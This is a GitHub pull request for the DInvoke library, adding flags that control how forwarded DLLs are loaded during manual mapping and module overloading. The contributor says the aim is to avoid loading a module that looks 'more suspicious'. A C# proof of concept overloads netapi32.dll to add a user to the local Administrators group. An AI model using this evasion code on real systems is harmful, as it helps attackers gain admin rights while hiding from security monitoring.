Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New options added to CallMappedDLLModuleExport #20

Open
wants to merge 2 commits into
base: dev
Choose a base branch
from

Conversation

s0rtega
Copy link

@s0rtega s0rtega commented Jan 9, 2021

Description

Based on the changes addressing the Issue #17 I added two additional options (CanLoadFromDisk, Overload) to CallMappedDLLModuleExport and GetExportAddress. Using these flags when a module is forwarded (e.g., SAMCLI.dll) it is possible to control if the module will be loaded from disk and how it will be loaded (direct / overload).

I am not 100% sure if this make sense, because is also increasing the complexity of the code, but can be handy under certain scenarios. If I am trying to overload the parent module does not make sense to end loading the forwarded one which could be even more suspicious. Happy to discuss is there is a better approach (or if that even makes sense).

Test code

I did some "regression" testing with some of the DInvoke examples and DInvisibleRegistry (https://github.com/NVISO-BE/DInvisibleRegistry) everything seems to work OK.
To check the new flags, there is a quick example reusing the same:

using System;
using System.Runtime.InteropServices;

namespace overload_poc
{
    class STRUCTS
    {
        [StructLayout(LayoutKind.Sequential)]
        public struct LOCALGROUP_MEMBERS_INFO_3
        {
            [MarshalAs(UnmanagedType.LPWStr)]
            public string domainandname;
        }
    }

    class DELEGATES
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate DInvoke.Data.Native.NTSTATUS NetLocalGroupAddMembers(
            string servername,
            [MarshalAs(UnmanagedType.LPWStr)]
            string groupName,
            UInt32 level,
            ref STRUCTS.LOCALGROUP_MEMBERS_INFO_3 info,
            UInt32 totalentries);
    }
    class Program
    {
        static void Main(string[] args)
        {

            // NetLocalGroupAddMember (forwarded to SAMCLI.NetLocalGroupAddMember)
            DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = DInvoke.ManualMap.Overload.OverloadModule(@"C:\Windows\System32\netapi32.dll", @"C:\Windows\System32\netapi32.dll");


            String group = @"Administrators";
            STRUCTS.LOCALGROUP_MEMBERS_INFO_3 username = new STRUCTS.LOCALGROUP_MEMBERS_INFO_3();
            username.domainandname = @"myUser";

            object[] funcParams =
                {
                    null,
                    group,
                    (UInt32)3,
                    username,
                    (UInt32)1};

            
            DInvoke.Data.Native.NTSTATUS res = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(
                                        mappedDLL.PEINFO,
                                        mappedDLL.ModuleBase,
                                        "NetLocalGroupAddMembers",
                                        typeof(DELEGATES.NetLocalGroupAddMembers),
                                        funcParams,
                                        false,
                                        true,
                                        false
                                        );

            Console.WriteLine(res);
        }
    }
} 

@TheWover
Copy link
Owner

TheWover commented Sep 16, 2021

Overall this makes sense, but according to the documentation of the SearchPathW function:

"""
The SearchPath function is not recommended as a method of locating a .dll file if the intended use of the output is in a call to the LoadLibrary function. This can result in locating the wrong .dll file because the search order of the SearchPath function differs from the search order used by the LoadLibrary function. If you need to locate and load a .dll file, use the LoadLibrary function.
"""

I'll have to think about whether that is acceptable. The user may not care, but there are cases where this could result in a different DLL than they would expect compared to LoadLibrary. As an alternative, ntdll.dll!LdrGetDllPath might work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants